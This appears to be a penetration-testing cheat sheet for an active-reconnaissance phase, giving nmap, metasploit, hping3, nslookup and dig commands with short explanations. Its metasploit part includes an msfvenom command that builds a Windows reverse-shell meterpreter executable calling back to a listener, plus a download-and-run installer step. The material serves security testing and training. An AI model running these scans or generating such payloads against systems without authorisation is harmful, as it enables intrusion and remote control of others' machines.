Phase 2: Active Reconnaissance

Tool: nmap

Purpose: Used to discover hosts and services on a computer network by sending packets and analyzing the responses. Also includes host discovery and service and operating system detection.

Commands:

```
nmap 192.168.1.123 -oN results.txt  #scan a single IP and normal output to results.txt
nmap 192.168.1.123 -O  #OS detection
nmap 192.168.1.123 -sV  #service and version detection
nmap 192.168.1.123 -sn  #disable port scanning; host discovery only
nmap 192.168.1.123 -Pn  #disable host discovery; port scanning only
```

Tool: metasploit

Purpose: Toolkit for developing and using a wide range of security tools and exploits. Includes Meterpreter, a payload that provides control over an exploited system, and msfvenom, a tool for generating and encoding standalone versions of any payload in the MS framework.

Commands:

```
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/
templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755
msfinstall && ./msfinstall  #download and install metasploit framework
#port scanner:
        msf > use auxiliary/scanner/portscan/tcp
        msf > set RHOSTS 10.10.10.0/24
        msf > run
#DNS enumeration:
        msf > use auxiliary/gather/dns_enum
        msf > set DOMAIN target.tgt
        msf > run
#FTP server:
        msf > use auxiliary/server/ftp
```

msf > set FTPROOT /tmp/ftproot

msf > run

#reverse meterpreter payload as an executable and redirected into a file:

$ msfvenom -p windows/meterpreter/reverse_tcp -f exe LHOST=10.1.1.1 LPORT=4444 > met.exe

Tool: hping/hping3

Purpose: Packet generator and analyzer for the TCP/IP protocol used for security auditing and testing of firewalls and networks.

Commands:

```
sudo apt-get install hping3  #install newest version of hping
sudo hping3 192.168.1.123  #send TCP packets to 192.168.1.123
sudo hping3 -S 192.168.1.123  #send SYN packets to 192.168.1.123
sudo hping3 -p 1024 192.168.1.123  #send packets to port 1024
```

Tool: nslookup

Purpose: Command-line tool for querying DNS to map betwen a domain name and an IP address, as well as other DNS records.

Commands:

```
sudo apt-get install dnsutils  #install package containing nslookup
nslookup  #enter interactive mode
nslookup www.example.com  #query www.example.com
nslookup www.example.com -type=a  #query www.example.com DNS A records
```

Tool: dig

Purpose: Command-line tool for querying DNS.

Commands:

```
sudo apt-get install dnsutils  #install package containing dig
dig example.com any  #query any type of DNS record for example.com
dig -x 192.168.1.123  #perform reverse DNS lookup for 192.168.1.123
```